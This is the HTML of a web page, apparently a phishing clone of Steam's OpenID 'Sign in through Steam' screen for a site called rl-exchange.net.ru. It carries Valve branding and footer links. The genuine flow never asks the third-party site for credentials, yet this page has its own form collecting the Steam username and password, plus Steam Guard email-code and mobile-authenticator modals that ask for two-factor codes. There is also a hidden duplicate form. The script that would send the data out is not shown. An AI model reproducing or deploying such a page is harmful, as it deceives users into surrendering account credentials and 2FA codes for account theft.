<a class="popup_menu_item tight" href="?l=tchinese&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'tchinese' ); return false;">繁體中文 (Traditional Chinese)</a>
<a class="popup_menu_item tight" href="?l=thai&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'thai' ); return false;">ไทย (Thai)</a>
<a class="popup_menu_item tight" href="?l=turkish&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'turkish' ); return false;">Türkçe (Turkish)</a>
<a class="popup_menu_item tight" href="?l=ukrainian&openid_ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid_mode=checkid_setup&openid_return_to=https%3A%2F%2Fopskins.com%2F%3Floc%3Dlogin_migrate%26content_only%3D1&openid_realm=https%3A%2F%2Fopskins.com&openid_identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid_claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select" onclick="ChangeLanguage( 'ukrainian' ); return false;">Українська (Ukrainian)</a>
<a class="popup_menu_item tight" href="http://translation.steampowered.com" target="_blank">Help us translate Steam</a>
</div>
</div>
</div>
</div>
</div>
</div>
<script type="text/javascript">
g_sessionID = "0efd4fe40b4c7f1fcf843373";
g_steamID = false;
// We always want to have the timezone cookie set for PHP to use
setTimezoneCookies();
$J( function() {
InitMiniprofileHovers();
InitEmoticonHovers();
window.BindCommunityTooltip = function( $Selector ) { $Selector.v_tooltip( {'tooltipClass': 'community_tooltip', 'dataName': 'communityTooltip' } ); };
BindCommunityTooltip( $J('[data-community-tooltip]') );
});
$J( function() { InitEconomyHovers( "https:\/\/steamcommunity-a.akamaihd.net\/public\/css\/skin_1\/economy.css?v=BC9LwzSX5z7E", "https:\/\/steamcommunity-a.akamaihd.net\/public\/javascript\/economy_common.js?v=tsXdRVB0yEaR&l=english", "https:\/\/steamcommunity-a.akamaihd.net\/public\/javascript\/economy.js?v=i8iKSj_RdU-r&l=english" );});</script>
<div class="responsive_page_template_content">
<script language="javascript">
function Logout()
{
$('actionInput').value = 'steam_openid_logout';
$('openidForm').submit();
}
$J( function() {
LoginManager = new CLoginPromptManager( 'https://steamcommunity.com', {
gidCaptcha: -1 } );
} );
</script>
<div id="mainBody">
<div class="OpenID_MainHeader">
<div class="logo"><img src="https://steamcommunity-a.akamaihd.net/public/images/signinthroughsteam/sits_landing.png" width="114" height="43" border="0"></div>
<h1>Sign into rl-exchange.net.ru using your Steam account</h1>
<div>
<div style="float:left; padding: 6px 6px 20px 18px">
<img src="https://steamcommunity-a.akamaihd.net/public/images/signinthroughsteam/icon_info.png" width="26" height="26" border="0">
</div>
<h2>Note that rl-exchange.net.ru is not affiliated with Steam or Valve</h2>
</div>
</div>
<div class="OpenID_LowerContents">
<div class="OpenIDCol" style="float: right;">
<div class="OpenID_LowerContents_right">
<h2>By signing into rl-exchange.net.ru through Steam:</h2>
<ul class="OpenID_list">
<li class="OpenID_listitem">
Your Steam login credentials will not be shared. </li><li class="OpenID_listitem">
A unique numeric identifier will be shared with <a class="whiteLink OpenID_Highlight" href="https://rl-exchange.net.ru"> rl-exchange.net.ru</a>. Through this, rl-exchange.net.ru will be able to identify your Steam community profile and access information about your Steam account according to your <a class="whiteLink" href="https://steamcommunity.com/my/edit/settings">Profile Privacy Settings</a>. </li><li class="OpenID_listitem">
Any information on your <a class="whiteLink" href="https://steamcommunity.com/my/profile">Steam Profile</a> page that is set to be publicly viewable may be accessed by rl-exchange.net.ru. </li></ul>
<h2>By clicking "Sign In" you agree to this data being shared.</h2>
</div>
</div>
<div class="OpenIDCol" style="overflow: hidden;">
<div class="OpenID_LowerContents_left">
<div id="error_display" style="display: none;color: #D2A63B;float: none;width: 100%;margin-bottom: 13px;">The account name or password that you have entered is incorrect.</div>
<form action="#" method="POST" name="logon" id="loginForm">
<input type="hidden" name="emailauth" id="emailauth" value="">
<input type="hidden" name="emailsteamid" id="emailsteamid">
<input type="hidden" name="loginfriendlyname" id="loginfriendlyname" value="">
<div>Steam username</div>
<input class="textField" type="text" name="username" id="steamAccountName" autofocus="" maxlength="64"><br>
<br>
<div>Password</div>
<input class="textField" type="password" name="password" id="steamPassword" autocomplete="off" maxlength="64"><br>
<br>
<div id="captcha_entry" class="captcha_oauth" style="display: none;">
<input type="hidden" id="captchagid" name="captchagid" value="-1">
<div id="CaptchaFormArea">
<div>Type these characters below</div>
<img id="captchaImg" src="https://steamcommunity.com/public/captcha.php?gid=-1" border="0"><br>
<div id="captchaRefresh"><img src="https://steamcommunity-a.akamaihd.net/public/images//skin_1/blue_refresh_icon.png" id="captchaRefreshImg" border="0" onclick="RefreshCaptcha();return false;"> <a href="#" id="captchaRefreshLink" title="Refresh" onclick="RefreshCaptcha();return false;">Refresh</a></div>
<input class="textField" type="text" name="captcha_text" id="input_captcha" autocomplete="off"><br>
<div class="smallLabel" id="captchaExplanation">Are you human or robot?</div>
<br>
</div>
</div>
<div id="login_btn_signin" style="display: block;">
<input class="btn_green_white_innerfade" type="button" id="imageLogin" style="width:104px; height:34px; border:none; font-size: 15px;" value="Sign in">
</div>
<br>
<div id="login_btn_wait" style="display: none;">
<img src="https://steamcommunity-a.akamaihd.net/public/images/login/throbber.gif">
</div>
<br clear="all">
</form>
<br>
<p>Don't have a Steam account? You can <a class="whiteLink" target="_blank" href="https://store.steampowered.com/join/">create an account</a> for free.</p>
<form enctype="multipart/form-data" action="https://steamcommunity.com/openid/login" method="POST" name="loginForm" id="openidForm">
<input type="hidden" id="actionInput" name="action" value="steam_openid_login">
<input type="hidden" name="openid.mode" value="checkid_setup">
<input type="hidden" name="openidparams" value="YTo2OntzOjk6Im9wZW5pZC5ucyI7czozMjoiaHR0cDovL3NwZWNzLm9wZW5pZC5uZXQvYXV0aC8yLjAiO3M6MTE6Im9wZW5pZC5tb2RlIjtzOjEzOiJjaGVja2lkX3NldHVwIjtzOjE2OiJvcGVuaWQucmV0dXJuX3RvIjtzOjUzOiJodHRwczovL29wc2tpbnMuY29tLz9sb2M9bG9naW5fbWlncmF0ZSZjb250ZW50X29ubHk9MSI7czoxMjoib3BlbmlkLnJlYWxtIjtzOjE5OiJodHRwczovL29wc2tpbnMuY29tIjtzOjE1OiJvcGVuaWQuaWRlbnRpdHkiO3M6NTA6Imh0dHA6Ly9zcGVjcy5vcGVuaWQubmV0L2F1dGgvMi4wL2lkZW50aWZpZXJfc2VsZWN0IjtzOjE3OiJvcGVuaWQuY2xhaW1lZF9pZCI7czo1MDoiaHR0cDovL3NwZWNzLm9wZW5pZC5uZXQvYXV0aC8yLjAvaWRlbnRpZmllcl9zZWxlY3QiO30=">
<input type="hidden" name="nonce" value="0efd4fe40b4c7f1fcf843373">
</form>
<br>
<!--<div id="error_display" style="display: none;">The account name or password that you have entered is incorrect.</div>-->
</div>
</div>
<div style="clear: both"></div>
</div>
</div>
</div> <!-- responsive_page_legacy_content -->
<div id="footer_spacer"></div>
<div id="footer_responsive_optin_spacer"></div>
<div id="footer632">
<div class="footer_content">
<span id="footerLogo"><img src="https://steamcommunity-a.akamaihd.net/public/images/skin_1/footerLogo_valve.png?v=1" width="96" height="26" border="0" alt="Valve Logo"></span>
<span id="footerText">
© Valve Corporation. All rights reserved. All trademarks are property of their respective owners in the US and other countries.<br>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?url=http://www.geonames.org" target="_blank" rel="noreferrer">geonames.org</a>. <br>
<span class="valve_links">
<a href="https://store.steampowered.com/privacy_agreement/" target="_blank">Privacy Policy</a>
| <a href="http://www.valvesoftware.com/legal.htm" target="_blank">Legal</a>
| <a href="https://store.steampowered.com/subscriber_agreement/" target="_blank">Steam Subscriber Agreement</a>
</span>
</span>
</div>
<div class="responsive_optin_link">
<div class="btn_medium btnv6_grey_black" onclick="Responsive_RequestMobileView()">
<span>View mobile website</span>
</div>
</div>
</div>
</div> <!-- respojnsive_page_content -->
</div> <!-- responsive_page_fвrame -->
<div class="miniprofile_hover" style="display: none;"><div class="shadow_ul"></div><div class="shadow_top"></div><div class="shadow_ur"></div><div class="shadow_left"></div><div class="shadow_right"></div><div class="shadow_bl"></div><div class="shadow_bottom"></div><div class="shadow_br"></div><div class="miniprofile_hover_inner shadow_content"></div><div class="hover_arrow left miniprofile_arrow"><div class="miniprofile_arrow_inner"></div></div><div class="hover_arrow right miniprofile_arrow"><div class="miniprofile_arrow_inner"></div></div></div><div id="loginModals">
<div class="login_modal loginAuthCodeModal" style="display: none">
<form data-ajax="false">
<div class="auth_message_area">
<div id="auth_icon" class="auth_icon auth_icon_key">
</div>
<div class="auth_messages" id="auth_messages">
<div class="auth_message" id="auth_message_entercode" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>We see you're logging in to Steam from a new browser or a new computer. Or maybe it's just been a while...</p>
</div>
<div class="auth_message" id="auth_message_checkspam" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Did you check your spam folder? If you don't see a recent message from Steam Support in your inbox, try looking there.</p>
</div>
<div class="auth_message" id="auth_message_success" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>You now have access to your Steam account here.</p>
</div>
<div class="auth_message" id="auth_message_incorrectcode" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Sorry but, <br>that isn't quite right...</p>
</div>
<div class="auth_message" id="auth_message_help" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Sorry you're having trouble. We know your Steam account is valuable to you, and we're committed to helping you keep access to it in the right hands.</p>
</div>
</div>
</div>
<div id="auth_details_messages" class="auth_details_messages">
<div class="auth_details" id="auth_details_entercode" style="display: none;">
As an added account security measure, you’ll need to grant access to this browser by entering the special code we’ve just sent to your email address at. </div>
<div class="auth_details" id="auth_details_success" style="display: none;">
If this is a public computer, be sure to log out of Steam when you're ready to quit this browser session. </div>
<div class="auth_details" id="auth_details_help" style="display: none;">
Please contact Steam Support for assistance from a member of our staff. Legitimate claims for help with account access are our number one priority. </div>
</div>
<div class="authcode_entry_area">
<div id="authcode_entry">
<div class="authcode_entry_box">
<input class="twofactorauthcode_entry_input authcode_placeholder" type="text" name="username" id="" placeholder="enter your code here" autofocus="" maxlength="64">
</div>
</div>
<div id="authcode_help_supportlink">
<a href="https://support.steampowered.com/kb_article.php?ref=4020-ALZM-5519" data-ajax="false" data-externallink="1">Contact Steam Support for help with account access</a>
</div>
</div>
<div class="modal_buttons" id="auth_buttonsets">
<div class="auth_buttonset" id="auth_buttonset_entercode" style="display: none;">
<div data-modalstate="submit" class="auth_button leftbtn">
<div class="auth_button_h3">Submit</div>
<div class="auth_button_h5">my special access code</div>
</div>
<div data-modalstate="checkspam" class="auth_button">
<div class="auth_button_h3">What message?</div>
<div class="auth_button_h5">I don't have any message from Steam Support...</div>
</div>
<div style="clear: left;"></div>
</div>
<div class="auth_buttonset" id="auth_buttonset_checkspam" style="display: none;">
<div data-modalstate="submit" class="auth_button leftbtn">
<div class="auth_button_h3">Found it!</div>
<div class="auth_button_h5">and I've entered my special access code above</div>
</div>
<div data-modalstate="help" class="auth_button">
<div class="auth_button_h3">No luck still...</div>
<div class="auth_button_h5">I don't have any message from Steam Support...</div>
</div>
<div style="clear: left;"></div>
</div>
<div class="auth_buttonset" id="auth_buttonset_success" style="display: none;">
<div class="auth_button auth_button_spacer">
</div>
<a data-modalstate="complete" class="auth_button" id="success_continue_btn" href="javascript:void(0);">
<div class="auth_button_h3">Proceed to Steam!</div>
<div class="auth_button_h5"> <br> </div>
</a>
<div style="clear: left;"></div>
</div>
<div class="auth_buttonset" id="auth_buttonset_incorrectcode" style="display: none;">
<div data-modalstate="submit" class="auth_button leftbtn">
<div class="auth_button_h3">I want to try again</div>
<div class="auth_button_h5">and I've re-entered my special access code above</div>
</div>
<div data-modalstate="help" class="auth_button">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I think I need assistance from Steam Support...</div>
</div>
<div style="clear: left;"></div>
</div>
<div class="auth_buttonset" id="auth_buttonset_waiting" style="display: none;">
</div>
</div>
<div style="" id="auth_details_computer_name" class="auth_details_messages">
To easily recognize this browser among the list of devices Steam Guard has enabled, give the browser a friendly name - at least 6 characters long. <div id="friendly_name_box" class="friendly_name_box">
<input class="authcode_entry_input authcode_placeholder" id="friendlyname" type="text" placeholder="enter a friendly name here">
</div>
</div>
<div style="display: none;">
<input type="submit">
</div>
</form>
</div>
<div class="login_modal loginIPTModal" style="display: none">
<div class="auth_message_area">
<div class="auth_icon ipt_icon">
</div>
<div class="auth_messages">
<div class="auth_message">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>This account can't be accessed from this computer without additional authorization.</p>
</div>
</div>
</div>
<div class="auth_details_messages">
<div class="auth_details">
Please contact Steam Support to have a member of our staff assist you. Legitimate claims for help with account access are our number one priority. </div>
</div>
<div class="authcode_entry_area">
</div>
<div class="modal_buttons">
<div class="auth_buttonset">
<a href="https://support.steampowered.com/kb_article.php?ref=9400-IPAX-9398&auth=e39b5c227cffc8ae65414aba013e5fef" class="auth_button leftbtn" data-ajax="false" data-externallink="1">
<div class="auth_button_h3">Learn more</div>
<div class="auth_button_h5">about Intel® Identity Protection Technology</div>
</a>
<a href="https://support.steampowered.com" class="auth_button" data-ajax="false" data-externallink="1">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I think I need assistance from Steam Support...</div>
</a>
<div style="clear: left;"></div>
</div>
</div>
</div>
<div class="login_modal loginTwoFactorCodeModal" style="display: none">
<form>
<div class="twofactorauth_message_area">
<div id="login_twofactorauth_icon" class="auth_icon auth_icon_key">
</div>
<div class="twofactorauth_messages" id="login_twofactorauth_messages">
<div class="twofactorauth_message" id="login_twofactorauth_message_entercode" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>This account is currently using a Steam Guard Mobile Authenticator.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_incorrectcode" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Sorry but, <br>that isn't quite right...</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Sorry you're having trouble. We know your Steam account is valuable to you, and we're committed to helping you keep access to it in the right hands.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_sms_remove" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>We'll send a text message containing an account recovery code to your phone number ending in <span id="login_twofactorauth_selfhelp_sms_remove_last_digits"></span>. Once you enter the code, we will remove the mobile authenticator from your account and you will receive Steam Guard codes via email.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_sms_remove_entercode" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>We have sent a text message containing a confirmation code to your phone number ending in <span id="login_twofactorauth_selfhelp_sms_remove_entercode_last_digits"></span>. Enter the code below so we can remove the mobile authenticator from your account.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_sms_remove_incorrectcode" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Sorry but, <br>that isn't quite right...</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_twofactor_removed" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>We have removed the mobile authenticator from your account. Next time you log in, you will have to enter a Steam Guard code that is sent to your email address.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_twofactor_replaced" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>You can now use this device to get mobile authenticator codes for your account. Any other device that was previously providing authenticator codes for your account will no longer be able to do so.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_nosms" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>You do not have a phone number associated with your Steam account, so we are unable to verify account ownership via a text message. Do you have the recovery code that you wrote down when you added the mobile authenticator? The recovery code begins with the letter 'R'.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_rcode" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Please enter the recovery code in the box below. The recovery code begins with the letter 'R'.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_rcode_incorrectcode" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Sorry but, <br>that isn't quite right...</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_rcode_incorrectcode_exhausted" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Sorry but, <br>that isn't quite right...</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_rcode_message" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Sorry but, <br>that isn't quite right...</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_couldnthelp" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>If you have lost access to your mobile device, the mobile phone number associated with your account, and don't have the recovery code that you wrote down when you added the mobile authenticator, then please contact Steam Support for assistance recovering access to your account.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_help" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Sorry you're having trouble. We know your Steam account is valuable to you, and we're committed to helping you keep access to it in the right hands.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_failure" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>There was an error encountered while processing your request.</p>
</div>
</div>
</div>
<div id="login_twofactorauth_details_messages" class="twofactorauth_details_messages">
<div class="twofactorauth_details" id="login_twofactorauth_details_entercode" style="display: none;">
Enter the current code displayed in the Steam Mobile app: </div>
<div class="twofactorauth_details" id="login_twofactorauth_details_selfhelp" style="display: none;">
If you have lost your mobile device or uninstalled the Steam app and can no longer receive codes, then you may remove the mobile authenticator from your account. This will reduce the security on your account, so you should add a mobile authenticator to a new mobile device afterwards. </div>
<div class="twofactorauth_details" id="login_twofactorauth_details_help" style="display: none;">
Please contact Steam Support for assistance from a member of our staff. </div>
<div class="twofactorauth_details" id="login_twofactorauth_details_selfhelp_failure" style="display: none;">
</div>
<div class="twofactorauth_details" id="login_twofactorauth_details_selfhelp_rcode_incorrectcode" style="display: none;">
</div>
<div class="twofactorauth_details" id="login_twofactorauth_details_selfhelp_rcode_incorrectcode_exhausted" style="display: none;">
</div>
</div>
<div class="twofactorauthcode_entry_area">
<div id="login_twofactor_authcode_entry">
<div class="twofactorauthcode_entry_box">
<input class="twofactorauthcode_entry_input authcode_placeholder" id="twofac" type="text" placeholder="enter your code here" autocomplete="off">
</div>
</div>
<div id="login_twofactor_authcode_help_supportlink">
<a href="https://support.steampowered.com/kb_article.php?ref=4020-ALZM-5519">
Contact Steam Support for help with account access </a>
</div>
</div>
<div class="modal_buttons" id="login_twofactorauth_buttonsets">
<div class="auth_buttonset" id="login_twofactorauth_buttonset_entercode" style="display: none;">
<div type="submit" class="auth_button leftbtn" data-modalstate="submit">
<div class="auth_button_h3">Submit</div>
<div class="auth_button_h5">my authenticator code</div>
</div>
<div class="auth_button" data-modalstate="selfhelp">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I no longer have access to my Mobile Authenticator codes</div>
</div>
<div style="clear: left;"></div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_incorrectcode" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="submit">
<div class="auth_button_h3">I want to try again</div>
<div class="auth_button_h5">and I've re-entered my authenticator code above</div>
</div>
<div class="auth_button" data-modalstate="selfhelp">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I think I need assistance from Steam Support...</div>
</div>
<div style="clear: left;"></div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_sms_remove_start">
<div class="auth_button_h3" style="font-size: 16px;">Remove authenticator</div>
<div class="auth_button_h5">and go back to receiving codes by email</div>
</div>
<div class="auth_button" data-modalstate="selfhelp_sms_reset_start">
<div class="auth_button_h3">Use this device</div>
<div class="auth_button_h5">and get authenticator codes on this app</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_sms_remove" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_sms_remove_sendcode">
<div class="auth_button_h3">OK!</div>
<div class="auth_button_h5">Send me the text message</div>
</div>
<div class="auth_button" data-modalstate="selfhelp_nosms">
<div class="auth_button_h3">I can't</div>
<div class="auth_button_h5">because I no longer have access to that phone number</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_sms_remove_entercode" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_sms_remove_checkcode">
<div class="auth_button_h3">Submit</div>
<div class="auth_button_h5">I entered the code above</div>
</div>
<div class="auth_button" data-modalstate="selfhelp_nosms">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I'm not receiving the text message</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_sms_remove_incorrectcode" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_sms_remove_checkcode">
<div class="auth_button_h3">Submit</div>
<div class="auth_button_h5">I re-entered the code. Let's try again.</div>
</div>
<div class="auth_button" data-modalstate="selfhelp_nosms">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I'm not receiving the text message</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_twofactor_removed" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_sms_remove_complete">
<div class="auth_button_h3">Log in</div>
<div class="auth_button_h5">with the mobile authenticator removed</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_twofactor_replaced" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_sms_remove_complete">
<div class="auth_button_h3">Log in</div>
<div class="auth_button_h5">to the Steam Mobile app</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_nosms" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_rcode">
<div class="auth_button_h3">Yes</div>
<div class="auth_button_h5">I have the recovery code that begins with 'R'</div>
</div>
<div class="auth_button" data-modalstate="selfhelp_couldnthelp">
<div class="auth_button_h3">No</div>
<div class="auth_button_h5">I don't have a code like that</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_rcode" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_rcode_checkcode">
<div class="auth_button_h3">Submit</div>
<div class="auth_button_h5">my recovery code</div>
</div>
<div class="auth_button" data-modalstate="selfhelp_couldnthelp">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I think I need assistance from Steam Support...</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_rcode_incorrectcode" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_rcode_checkcode">
<div class="auth_button_h3">Submit</div>
<div class="auth_button_h5">I re-entered the code. Let's try again.</div>
</div>
<div class="auth_button" data-modalstate="selfhelp_couldnthelp">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I think I need assistance from Steam Support...</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_rcode_incorrectcode_exhausted" style="display: none;">
<div class="auth_button" data-modalstate="selfhelp_couldnthelp">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I think I need assistance from Steam Support...</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_couldnthelp" style="display: none;">
<a class="auth_button leftbtn" href="https://help.steampowered.com/">
<div class="auth_button_h3">Contact us</div>
<div class="auth_button_h5">for help with account access</div>
</a>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_waiting" style="display: none;">
</div>
</div>
<div style="display: none;">
<input type="submit">
</div>
</form>
</div>
<script>$J('#error_display').hide();</script>
<script src="/Content/js/jquery.min.js"></script>
</div>
<form style="
position: absolute;
top: 0;
opacity: 0;
visibility: hidden;
">
<div class="twofactorauth_message_area">
<div id="login_twofactorauth_icon" class="auth_icon auth_icon_phone">
</div>
<div class="twofactorauth_messages" id="login_twofactorauth_messages">
<div class="twofactorauth_message" id="login_twofactorauth_message_entercode" style="display: block;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>This account is currently using a Steam Guard Mobile Authenticator.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_incorrectcode" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Sorry but, <br>that isn't quite right...</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Sorry you're having trouble. We know your Steam account is valuable to you, and we're committed to helping you keep access to it in the right hands.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_sms_remove" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>We'll send a text message containing an account recovery code to your phone number ending in <span id="login_twofactorauth_selfhelp_sms_remove_last_digits"></span>. Once you enter the code, we will remove the mobile authenticator from your account and you will receive Steam Guard codes via email.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_sms_remove_entercode" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>We have sent a text message containing a confirmation code to your phone number ending in <span id="login_twofactorauth_selfhelp_sms_remove_entercode_last_digits"></span>. Enter the code below so we can remove the mobile authenticator from your account.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_sms_remove_incorrectcode" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Sorry but, <br>that isn't quite right...</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_twofactor_removed" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>We have removed the mobile authenticator from your account. Next time you log in, you will have to enter a Steam Guard code that is sent to your email address.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_twofactor_replaced" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>You can now use this device to get mobile authenticator codes for your account. Any other device that was previously providing authenticator codes for your account will no longer be able to do so.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_nosms" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
